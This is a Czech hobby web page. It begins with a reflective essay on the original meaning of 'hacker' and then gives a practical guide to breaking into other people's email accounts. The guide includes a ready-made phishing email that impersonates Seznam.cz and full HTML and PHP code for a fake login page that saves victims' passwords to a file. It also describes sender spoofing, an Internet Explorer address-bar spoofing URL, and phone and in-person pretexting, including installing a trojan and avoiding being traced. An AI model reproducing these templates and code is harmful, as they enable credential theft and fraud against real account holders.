Nápady

Hacking

O ČEM VLASTNĚ JE???


Život mezi krabicemi

Svět, který nás obklopuje je plný tajemství a záhad čekajích na své odhalení. Všude kolem se povalují krabice s různými nápisy, které stačí jen otevřít. Na jedné je nápis sport na druhé fyzika. Na krabici témhle vzadu vidím tlustým fixem napsáno chemie a tady na té matematika či cizí jazyky. Kolem mě je spousta krabic. Možná, že bych je nedokázal ani spočítat. Mě však zaujala jedna, je nádherně zabalená s nápisem computer. To zní zajímavě řekl jsem si a krabici otevřel. Jaký byl můj údiv, když jsem uvnitř nalezl další dvě krabičky s nápisy hardware a software. Kterou z nich otevřít nyní? Dobře, podívám se do té, která se honosí názvem software. Ale co to? Uvnitř další krabičky, tentokrát jsou hned čtyři. Jsou nadepsány operační systémy, programování, apikace a hry. Zase stojím před otázkou, do které krabičky nakouknout nejdříve. Zkouším hry. "Ale né", zase krabičky… Nápisy na jejich bocích mi představují adventury, sportovní, akční, rpg, závodní, logické, plošinovky. Nechám tyto krabičky válet neotevřené vedle sebe a vrátím se zpět k té s nápisem aplikace. Po jejím otevření se ukazují další, přesně jak jsem po předchozích zkušenostech očekával. Jsou na nich nápisy text, grafika, video, hudba a sítě. Nahlížím do krabičky sítě. Samozřejmě neuvidím nic jiného než další krabičky linková vrstva, fyzická vrstva, aplikační vrstva. "Co to může být ta aplikační vrstva?", říkám si. Po nahlédnutí spatřím spousty menších krabiček FTP, HTTP, POP3, SMTP a další. Po otevření krabičky POP3 nalézám desítky nových s popisem jednotlivých příkazů. Jak to však využít? Chtělo by to vytvořit nějaký program, který těchto příkazů využije. Musím mezi hromadami krabiček, které jsem kolem sebe vybalil nalézt tu, která byla označena programování. Otevřu ji a vidím C/C++, Pascal, BASIC, PERL, Assembler a spousty dalších. Takto by to mohlo jít do nekonečna… Krabičky se kupí a kupí. Téměř přes ně již není vidět a když některou z nich otevřu, nečeká mě v nich nic jiného než krabičky nové. Některé jsou popsány nápisy v cizím jazyku a tak občas musím zalovit na jiné hromadě mnou rozbalených krabiček, abych zjistil co tyto nápisy znamenají. Párkrát se mi ale již stalo, že jsem otevřel krabičku, která v sobě další krabičky neměla. Byla nádherně maličká a krásná. Slastný to pocit, jako když horolezec dosáhne vrcholku hory, tak jsem se já probral až na samé jádro informace. Nicméně při cestě za touto krásnou koncovou krabičkou jsem za sebou nechal stovky, ba dokonce tisíce dalších, které jsem vybalil, ale nestihl je otevřít. Mají různé velikosti, podle nichž se dá odhadovat množství krabiček, které ještě ukrývají. Je jich hodně. Do které teď…?

Lidé jsou různí

Každý z nás otevřel několik krabic již na základní škole. Do každé jsme však nakoukli jen letmo a z každé vybalili pár dalších krabiček, abychom získali přehled, co vše v nich můžeme nalést. Na střední šklole jsme se pak seznámili s obsahem dalších krabic a na vysoké jsme do některých z nich pronikli do hlubších vrstev. Přesto nás ve škole nedovedly až k těm koncovým krabičkám, tento úkol je na nás na jednotlivcích. Někdo po opuštění školy chodí kolem krabic bez povšimnutí, maximálně kopne do těch, které mu stojí v cestě. Jiný zvědavě nakukuje do každé krabice, kolem níž projde, ale po nahlédnutí jde zase dál. Najdou se však i tací, kteří si sednou ke krabici, jež jim padla do oka a sedí u ní tak dlouho, dokud všechen její obsah nevybalí. Toto jsou hackeři. Význam slova hacker se dobou silně zdeformoval a proto nebude od věci, když si jeho původní význam připomeneme. Hackerem je každý člověk, který vytrvává u jedné nebo několika málo krabic a neustále rozbaluje jejich obsah, aby se dobral těch konečných nejmenších krabiček. Je naprosto lhostejné, zda se vrhli do krabice s nápisem computer, fyzika nebo chemie. Hackeři jsou lidé toužící po vědění. Chtějí vědět, co všechno jim je v krabici, kterou si vybrali, ukryto. Slovo hacker je ovšem velice relativní pojem. Člověk, který stojí před nerozbalenou krabicí, řekne hacker člověku, který z této krabice již vybalil další čtyři. Jeho vědomosti jsou totiž na vyšší úrovni. Člověk, který vybalil ty čtyři krabice, řekne hacker člověku, který těchto krabic vybalil desítky, atd. Naopak to tedy neplatí, člověk, který těchto krabic vybalil desítky, řekne o člověku, který vybalil čtyři, že je začátečník, i když je tento člověk hackerem pro člověka, který je na nižším stupni vědění. Názvem hacker tudíž označujeme někoho, kdo má mnohem vyšší vědomosti než my a je nám vzorem. Na základě této definice, nemůžu prohlásit sám o sobě, že jsem hacker, protože by to znamenalo přehnané sebevědomí a lidem, kteří jsou pro mě hackery bych byl pro smích. Toto je tedy původní význam slova hacker. Druhý význam, tak jak jej zná většina z vás, označuje člověka, který má určité znalosti v oblasti programování, sítí a operačních systémů a těchto znalostí využívá k průniku do cizích systémů. Dnes je těžké se v tom zorientovat, protože masmédia udělala své a nově vyrůstající generace jsou sžiti s druhým významem tohoto slova. Já se budu držet původního významu, protože hackerství je styl života, založený na sebevzdělávání. Tento styl bych vám chtěl trochu popsat, aby vám pomohl ve chvíli, kdy budete stát před jednou z krabic, nebudete vědět co ukrývá a budete se rozhodovat jak s ní naložíte.

Deprese

Ač to z počátku pro nezůčastněného pozorovatele krabic může vypadat, že si stoupne ke krabici a za den či dva, má její obsah vybalen, je skutečnost naprosto opačná. Člověk, který se rozhodne prozkoumat všechny krabičky obsažené ve vybrané krabici stojí opravdu před nelehkým úkolem. Čím více krabiček člověk rozbalí, tím více jich má nerozablených, těch které teprve čekají na své otevření. Z jednoho či dvou dnů, které si člověk původně maloval, se stávají dny, týdny, měsíce a roky. Rozbalování jednotlivých krabiček věnuje člověk stále více času a začíná dostávat deprese ze zjištění, že se mu obzory rozšířili natolik, že nedohlédne z jednoho konce na druhý a že je vlastně lidský život na prozkoumání jedné jediné krabice strašně krátký. Ač se mu původně život zdál až příliš dlouhý, vše je úplně jinak. Chtěl rozbalit více krabic, které by ho zajímaly, ale otevřel jednu a v ní se ztratil. Do konce života nezpozná obsah všech v ní ukrytých krabiček a začne přemýšlet jestli to za to vůbec stojí. Zde se dostává na křižovatku, kde buďto setrvá nebo začne žít jiný, nový život.

Pohled druhých

Okolí, které dříve vidělo tohoto člověka jako zcela normálního jedince, začíná kroutit hlavou. Vlastně se již téměř nevídají. Je neustále zahrabán v krabičkách, přes něž nevidí ven. Nemá čas. Z krabic se vyhrabe vždy jen na krátký čas, aby vykonal životně důležité činnosti a zase se vrací, aby stihl otevřít co nejvíce krabiček než umře. Musí z těchto krabiček přeci stihnout ještě něco postavit a ostatní mu říkají závislák a označují jej za nemocného člověka. Oni nechápou jeho a on nechápe je. Propast se rozšiřuje… Co je však správné? Potřebujeme návštěvu psychiatra nebo je to prostě životní styl, stejný jako každý jiný? Na tyto otázky se špatně odpovídá. Osobně si myslím, že by člověk měl jít za svým cílem, ať to stojí cokoliv. Jiní, ač na nás nadávají, nemohou žít bez nás a my zase bez nich. Kde by bez nás byl technický pokrok a jejich blahobyt? Jsou to právě hackeři, kteří ve všech oborech ženou vývoj kupředu. A to hold něco stojí…

Dovětek pro lamy

Tento článek má mimojiné za úkol vysvětlit, proč hackeři neodpovídají na stupidní dotazy. Ono se totiž často nedá jenodušše odpovědět na otázku, jejíž odpověď se skrývá v menších krabičkách. V takovém případě je potřeba pozotvírat všechny větší krabičky, v níž je tato odpověď ukryta, aby mohla být pochopena. Zrovna tak by měl článek ukázat, že není možné, aby hacker někoho vyučoval, protože je rád, že se zvládá učit sám a čas je opravdu cenný. Měli bychom si však najít alespoň trochu času a občas sepsat nějaký ten článek pro lidi, kteří mají pozotvíráno méně krabiček než my. Přeci jen jsme pro ně hackery. My také čerpáme informace ze článků, které napsaly jiní hackeři a proto bychom neměli tuto tradici porušovat, ale posouvat ji k lepším zítřkům. Informace mají pro všechny z nás cenu zlata.
No a na závěr, co se týká hlášek typu "Také jste nějak začínali" se dá odpovědět jednoduše. Začínali jsme od té největší krabice a stále se prokusujeme do krabiček uložených hlouběji. Stále jsme však začátečníky...

Jak hacknout e-mailovou schránku:

1) Falešný email

Obtížnost: Velmi snadné
Proveditelnost: 95%
Účinnost: 40%
Riziko odhalení: Velmi velké

Tuto základní a nejjednodušší formu útoku už jsem popsal v článku o hackování emailu. Spočívá ve vytvoření emailové schránky s věrohodným jménem na stejném serveru, na kterém má email oběť (např. passwords@seznam.cz :)). Pak na email oběti pošlete zo této emailové schránky email ve znění např.:

Vážený uživateli,

z důvodu chystaného zrušení neaktivních emailových schránek, by
se mohlo stát, že by byl zrušen i Váš účet. Pokud tuto emailovou
schránku používáte, zašlete prosím na email passwords@seznam.cz
zprávu ve tvaru:

login: Váš login
pass: Vaše heslo

Tedy pokud máte emailovou schránku např. petr@seznam.cz a heslo
"ahoj" bude zaslaný email vypadat takto:

login: petr
pass: ahoj

Děkujeme za pochopení,

Team Seznam.cz

Zde vidíme jednu z forem psychologického nátlaku. Oběti zde hrozí, že pokud svoje jméno a heslo nepošle, bude její chránka zrušena. Tento nátlak můžete ještě zvýšit přidáním textu např.:

Vzhledem k tomu, že rušení emailů proběhne za 3 dny, doporučujeme
Vám, abyste potvrzovací email odeslal(a) co nejdříve.

Tento email si oběť přečte třeba až dva dny po datu doručení, zazmatkuje a heslo vám pošle. Ale přeci jen, pokud je oběť alespoň trochu inteligentní, dojde jí, že to, že se nás server ptá na naše heslo, nemá logiku. Proto je tento způsob vhodný hlavně na oběti, které toho moc o internetu a počítačích neví.

2) Rozšíření falešného emailu o falešnou adresu odesílatele

Obtížnost: Musíte umět spustit program :)
Proveditelnost: 95%
Účinnost: 50%
Riziko odhalení: Velké

Tento útok je vlastně jenom rozšíření přechozího typu. Spočívá v tom, že podvodnou emailovou zprávu pošlete jakoby z adresy, která je o trochu věrohodnější, než ta, kterou jste si vytvořili. Toho docílíte pomocí programů na odesílání fake mailů. "Fake mail" je email se sfalšouvanou hlavičkou. Můžete si tak nastavit i adresu odesílatele, a přeci jenom "admin@seznam.cz" vypadá o trochu líp, než třeba "pass_adm@seznam.cz". Programů tohoto typu naleznete na internetu spoustu. A pokud jste trochu chytřejší, příjdete na to, že k tomu můžete použít třeba i obyčejný Outlook Express. Stačí si najít nějaký free smtp server, nebo zprovoznit smtp server přímo na vašem počítači.

3) Vytvoření falešného formuláře

Obtížnost: Větší (znalost HTML a PHP)
Proveditelnost: 50%
Účinnost: 90%
Riziko odhalení: Velmi malé

Tato metoda spočívá ve vytvoření falešného formuláře, do kterého přinutíte oběť zadat její přihlašovací údaje. Toho docílíte tak, že si zaregistrujete na serveru, na kterém má oběť email nebo web, freehosting s věrohodnou adresou (např. servis.webzdarma.cz - mimochodem, v době psaní článku ještě existuje - moje stránka :)) a okopírujete standartní přihlašovací formulář na serveru (aby vypadal věrohodně, co se týče vzhledu). V této HTML stránce pak upravíte text nad přihlašovacími údaji např. na (originální :)):

Vážený uživateli webhostinových služeb serveru webzdarma.cz, dovolujeme si Vás upozornit, že se chystáme přejít na nový výkonnější systém a při této příležitosti také smažeme nepoužívané účty. Pokud si tedy chcete prodloužit platnost svého účtu, zadejte prosím své přihlašovací údaje do formuláře níže

Formulář pak musíte upravit tak, aby ho zpracovával váš PHP (samozřejmě můžete použít i jiný serverový scriptovací jazyk) script. Ten uloží zadané informace do souboru, nebo vám je pošle na mail (nebo je uloží do databáze apod.). Zde je příklad:

--- index.html ---
<html>
<body>
Vážený uživateli....
<form action="post.php" method="post">
Login: <input type="text" name="login"><br>
Heslo: <input type="password" name="heslo"><br>
<input type="submit" value="Odeslat">
</form>
</body>
</html>

--- post.php ---
<?

$file = @FOpen("hesla.txt", "r");
$data = @FRead($file,FileSize("hesla.txt"));
@FClose($file);

$file = FOpen("hesla.txt", "w");
FWrite($file,$data.$login." : ".$heslo."\n");
FClose($file);

?>

<html>
<body>
Vaše žádost byla vyřízena, děkujeme za spolupráci
</body>
</html>

Toto je jednoduchá ukázka toho, na jakém principu ten formulář vlastně funguje. Tato metoda je opravdu velmi účinná. Stačí potom jenom kamarádovi říct, aby se na danou stránku podíval, nebo cizí osobě můžete poslat fake mail.

4) Falešný formulář + fake mail + IE bar spoofing

Obtížnost: Velká
Proveditelnost: 80%
Účinnost: 80%
Riziko odhalení: Střední

pozn.: Tato metoda počítá s tím, že oběť používá nezapatchovaný Internet Explorer. Pokud tedy oběť používá jiný prohlížeč, rozhodně tuto metodu nezkoušejte!!!

Co dělat, když oběť email nebo www stránku na serveru, kde si nemůžete registrovat vlastní freehosting? Nyní řekněme, že oběť má emailovou schránku petr@seznam.cz. Vytvořte si formulář ve vzhledu Seznamu a nahrajte ho na libovlný účet třeba na webzdarma.cz. Pak pošlete oběti email, kterým oběť donutíte kliknout na odkaz, který do emailu přidáte. Možná si teď říkáte: "No jo, ale nebude trochu podezřelý, když ten formulář bude na wz?". Odpověď zní: Nebude. Sačí, aby si oběť myslela, že zobrazovaná stránka je na seznamu. Jak toho docílíme? Pomocí chyby v IE nazývané "Bar Spoofing". Spočívá v tom, že text zobrazený v panelu adresa neodpovídá adrese zobrazené stránky. Toho docílíme pomocí speciální série znaků v odkazu:

http://zobrazená_adresa%00@skutečná_adresa

Tedy v našem případě např.:

http://servis.seznam.cz%00@hackmail.webzdarma.cz

O tom, jestli to funguje i na vašem počítači se můžete přesvědčit ZDE. Tato metoda je opravdu velice účinná, akorát oběť musí klinkout na odkaz, který jste jí poslali, protože kdyby napsala oadresu přímo do prohlížeče, tak máte smůlu.

5) Získání hesla přes telefon

Obtížnost: Velmi velká
Proveditelnost: Závisí na vašich hereckých dovednostech
Účinnost: Závisí na vašich hereckých dovednostech
Riziko odhalení: Velké

Tato metoda spočívá v tom, že oběti zavoláte a pokusíte se ji přesvědčit, že jste zaměstnanec firmy, u které má oběť email, www stránku apod. Tato metoda je velmi obtížná a chce to hlavě se velmi dobře informovat o firmě, "pro kterou pracujete", protože kdyby se vás oběť najednou zeptala třeba: "Kolik stojí ta nová služba '2 emaily za cenu jednoho'" a vy byste nevěděli, o čem mluví, tak by to byl docela problém. Druhá důležitá věc je mít hovor připravený předem. Rozhodně nedoporučuji nějak výrazně improvizovat, protože pak se může stát, že se zamotáte do toho, co jste říkali a porzradíte se. A ta nejdůležitější věc je, perfektně to zahrát. Pokud se po dvaceti sekundách začnete histericky smát, nebo se vám roztřese hlas tak, že nebudete moct mluvit, tak vám to asi nevyjde. Poslední důležitá věc je, správně hovor zakončit, protože je žádoucí, aby oběť nezjistila, že je obětí :). Zkuste se třeba objeti zeptat, jak je spokojena se službami vašeho serveru a třeba jí nějaké další nabídnout, protože to dokáže vyvrátit pochybnosti.

A ještě jdna poznámka - volejte vždy z budky, protože vždy se může stát, že se prozradíte, a rozhodně by nebylo příjemé, kdyby si "oběť" zjistila vaše telefonní číslo a adresu a přišla si to s vámi vyříkat osobně

6) Získání hesla osobně od oběti

Obtížnost: Obrovská
Proveditelnost: Závisí na vašich hereckých dovednostech
Účinnost: Závisí na vašich hereckých dovednostech
Riziko odhalení: Obrovské

Tato metoda je prakticky stejná jako předchozí, až na to, že oběť navštívíte osobně a mluvíte s ní očí do očí, což už chce hodně pevné nervy. No a samozřejmě se můžete pokusit získat heslo, jako při telefonickém rozhovoru, nebo můžete oběť třeba přesvědčit, že jste technik (třeba Telecomu), který má vyřešit nějakou poruchu a oběti třeba nainstalovat do počítače trojana. Fantazii se meze nekladou... Ale toto je typ útoku, na který si rozhodně netroufám ani já, takže pokud se vám ho povede úspěšně realizovat, tak jste opravdu borci...

 
(c) Nápady 2008